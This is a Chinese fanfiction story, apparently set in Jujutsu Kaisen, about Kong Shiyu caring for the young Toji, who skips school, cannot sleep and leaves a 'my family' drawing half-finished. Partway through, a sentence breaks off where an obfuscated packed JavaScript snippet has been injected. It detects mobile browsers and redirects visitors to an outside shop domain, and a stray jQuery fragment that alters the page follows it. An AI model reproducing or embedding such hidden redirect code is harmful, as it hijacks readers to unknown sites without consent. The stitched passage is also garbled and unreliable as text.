早上七点一刻，孔时雨在厨房按开咖啡机。
机器嗡嗡响，他靠着料理台等着。窗外天阴沉沉的，东京六月的天，要下不下。
平时这个时间，甚尔已经在玄关穿鞋了。私立小学在世田谷，有点距离，七点四十不出门就迟到。这小鬼上学一个多月，没赖过一次床——禅院家长大的孩子，没人叫也自己醒，醒了就知道该干嘛。
今天没动静。
孔时雨端着咖啡走到走廊，敲了敲那扇关着的门。
“起了没？”
里头停了两秒。
“……今天不想去。”
他推门。
甚尔坐在床上，没穿制服，制服挂在椅背上，立领、金扣，昨晚他自己挂上去的。小孩头发压塌了一边，脸朝门口，眼睛是醒着的。
“不舒服。”他说。
孔时雨端着咖啡，在门口看了他一会儿。
天与咒缚不舒服。这话不太科学。这小子翻墙摔下来不哼一声，禅院家大概八年没人问过他病没病，他自己也没病过。
不过一个八岁小孩偶尔不想上学，太正常了。何况是个长这么大没上过一天学、连上一个月已经够给面子的小孩。
“哪儿不舒服。”
“……就是不舒服。”
含含糊糊。孔时雨干这行的，这种话一听就知道有水分。
“发烧？”
“没有。”
孔时雨走近，撩起他一侧额角的头发，摸了摸额头。是没有。
“肚子疼？”
“没有”
“那怎么了？”
“不想去。”
行吧，他知道有些水分没必要较真。阿一西。
“行。”他说，“我给你请假。”
甚尔“嗯”了一声，往被子里缩了缩，把半张脸埋进去。
“中午自己弄点吃的。冰箱里有蛋有面，不会就泡面，别把厨房点了。”
“好。”
“药柜里有退烧的。真烧起来自己吃，吃完发短信。”
“……嗯。”
孔时雨退出去，带上门。
给学校打了个电话。年轻女老师接的，声音客气，说没关系没关系，身体要紧，在家好好歇着。孔时雨道了声谢，挂了。
八点半，他换衣服出门。临走在玄关又停了一下，听了一耳朵——里头没声。
睡了吧。睡一觉就好。
——
五点多回来。
钥匙插进锁孔，开门玄关一片暗，没人开灯。客厅那头亮着——电视的光，一闪一闪打在墙上。
孔时雨换鞋进去。
甚尔盘腿坐在地毯上，背对着门，游戏机的线连着电视，手柄攥在手里。屏幕上一个小人在跑、跳、吃金币。
听见钥匙声他回了下头。“おかえり。”（欢迎回来）声音懒懒的。
“……ただいま。”（我回来了）
孔时雨在客厅门口站了两秒。
茶几上一只空泡面碗，筷子搁在碗沿。旁边那袋柿子糖开了口。
打了一天游戏。
他差点笑出来。天与咒缚，“不舒服”，在家打了一天游戏。这要是病，全世界小学生都病死了。
就是不想上学呗。
倒也行。歇一天，明天照常去。
不过——
孔时雨又看了一眼。
小孩玩得不起劲。屏幕上那小人撞了墙，掉进坑里，他也没“啊”一声，重开，接着跑。脸上没什么表情，眼睛跟着屏幕，人是蔫的。
“吃了没？”
“吃了。”甚尔下巴朝那只泡面碗点了点。
“就吃这个。”
“……嗯。”
“晚上想吃什么。”
“都行。”
孔时雨解开外套。“起来，出去吃。”
“……不太想动。”
“行。我带回来。”
他又下楼跑了一趟，便利店买了两盒便当、一袋小熊软糖。回来甚尔关了游戏机，坐到桌边吃。挑了鲑鱼那盒。没怎么说话，吃完把空盒摞齐，软糖揣进兜里，回了屋。
孔时雨收拾桌子，空盒空碗扔了，在沙发上点了根烟。
这小鬼今天是真蔫。
不过饭吃得干净，软糖也收了。死不了。
歇一天，明天上学。
——
过了几天。
孔时雨在京都，藤本介绍来的一个买家，谈一批从九州走的东西。地方约在鸭川边一家咖啡馆。谈到价钱这步正是要紧的当口。对方咬着一个数不松口，孔时雨也咬着，桌上两杯咖啡都凉了。
手机这时候响了，学校的号码。
阿一西。
他朝买家抬了下手，起身走到店外廊下接，脑子里那个数还押着。
“喂。”
“孔先生您好，我是伏黑同学的班主任。”是请假那天接电话那位，“没什么大事，跟您说一声——伏黑同学最近上课有点没精神，老走神，问他也说没事。请家里多留意一下，注意休息。”
“明白了，谢谢。”孔时雨眼睛瞟着玻璃门里的买家。那人正低头看手机。
“还有，上次请假那天有份图工作业，到现在也没交。别的同学都交了。不急，方便时让他补一张就行。”
“好，会让他补。”
“那不打扰您了。”
“嗯，谢谢。”
孔时雨挂了电话，走回去坐下。
“不好意思。”他对买家说，“刚才那个数——”
那个数他记得清清楚楚。
——
那批东西谈成了，价压在他想要的线上。孔时雨赶末班新干线回东京，到家快十二点。
屋里都黑了。甚尔房间门关着，没光。
睡了。他没开大灯，洗漱，倒头就睡。
不知睡了多久又醒了。嗓子干得发紧——晚上那杯凉咖啡，加上一路没怎么喝水。
他摸黑起来，去厨房接了杯水，靠着料理台喝完。窗外那条住宅街很安静，对面一排两层小楼黑漆漆的，只有路口一盏灯。
他放下杯子往回走。
经过走廊，他朝甚尔那扇门看了一眼。
——平时他是不看的。门关着，小孩在里头睡，没什么好看。刚到东京那几天他还会下意识听一耳朵门，怕这家伙半夜跑了，后来人留住了，这点警觉也撤了岗。
门缝底下漏着光。
那盏台灯。上个月他买的——嫌顶灯太白，照着写作业冷冰冰，顺手买了盏暖光的搁书桌上。
孔时雨站住了。
两点四十。
他走过去，推开门。
甚尔靠墙坐在床上，膝盖立着，被子堆在脚边。台灯开着，暖黄的一小圈，把半边脸照出来。听见门响，他没动，也没躲，只“唰”地一下把视线转过来。
那双绿眼睛在灯下晶亮。一点睡意没有。像狼。
“怎么不睡？”
“……没怎么。”
“几点了知道吗。”
“嗯。”
孔时雨在门框上靠了一下。屋里空的跟第一天一样——一张床，一张书桌，墙上什么都没挂。墙角那一小堆东西靠着墙根，从禅院家带出来的旧和服叠在最底下，搬家没扔。
“做噩梦了。”孔时雨替他说了。
甚尔没说是也没说不是。过了好一会儿才说：“……梦见什么我不记得了。”
孔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17613899|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时雨看着他。
干这行十几年，什么脸他没读过。嫌疑人的虚张声势，目标的色厉内荏，咒术师装出来的那点镇定。一张脸扫一眼，底下压着什么，他门儿清。
这张脸他也读得出来。是什么，他没问。问了也不会说，说了也是“不记得了”。
孔时雨叹了口气，伸手揉了把脸。
“……一起睡吗？”他说。
甚尔看着他，没动。
“我床大。”孔时雨已经转身往外走，“去那边睡，快点，别让我说第二遍。”
身后被子掀开，赤脚踩地，小孩跟出来了。
——
孔时雨那张床是真大，双人的，两米宽，他一个人睡惯了一边。甚尔掀开被子躺进去，自觉挤到靠墙那侧，缩成一条，空出大半张，跟那头隔着一道看不见的线。
“蹬我就滚回去。”孔时雨关了台灯。
“我睡相很好。”黑暗里小孩说，声音饱满了点。
屋里黑下来。窗帘缝里透进一线路灯的光，落在天花板上。
过了一会儿，靠墙那边的气息均匀了，一起一伏，很轻。
孔时雨睁着眼看天花板。
——
不知几点，他还是没睡着。
旁边那小孩睡得沉，一动没动，呼吸又轻又匀。确实睡相不错，跟刚躺下时一个样。
孔时雨轻手轻脚起来，没开灯，摸出卧室。
到了走廊，又喝了口水，本该直接回——这个点了。可他鬼使神差又拐进甚尔那间屋。台灯还亮着，刚才忘了关。
进去关灯。就关个灯。
书桌上摊着东西没收：课本、一本写了一半的本子、一个没合盖的铅笔盒。台灯底下压着几张纸，边角露出来。
干了十几年这行，看见摊着的东西不翻一翻，手痒。
孔时雨抽出那几张纸。
最上面是张作业纸。厚厚的，抬头印着校徽，底下一行老师手写的平假名，圆圆的，一笔一画：
ぼくのかぞく。
我的家人。
下面是甚尔画的。
铅笔。一间屋子，画得很细——公寓客厅，方方正正，几扇窗，一个小阳台，连沙发歪下去那一角也没落下。窗户里头一格一格点着灯，黄的，用彩铅反复把光亮涂出来。
画房子他画得很专心。每一笔都收得干净。
房子旁边，空着一大块。
本该画人的地方。
起了个头。一个小小的人形——圆脑袋，底下肩膀拉两道线，然后就停了。铅笔在那两道线的末端停过，停得久了，那一处颜色比别处重，像笔尖一直压在纸上，等着，等不出下文。
人形旁边一块擦过的灰印。本来还想再添一个，画了两笔，擦了。橡皮擦得用力，纸都起了毛。
就这些。一座点着灯的房子，一个画了一半的人，一块擦痕。
孔时雨拿着那张纸，站在屋子当中。
外头那条住宅街静的要命。
今天不想去。不舒服。蔫了一整天。图工作业没交。睡不好。
他想点根烟，手伸进兜里摸到打火机，又停住——小孩的房间。
我的家人——
孔时雨眼睛扫过压在角落底下的和服。禅院家大宅在脑子里走了一遍。
他把那几张纸理齐，按原样压回台灯底下，露出来的边角也对回原处。铅笔盒盖原样开着，他没合上。
关了台灯。
屋里黑了。
出门时他在门口站了一下。
那个起了头、没画完的小人。圆脑袋，两道肩膀，后头空着。
明天，孔时雨想。明天得想个办法。
——什么办法，他还没想出来。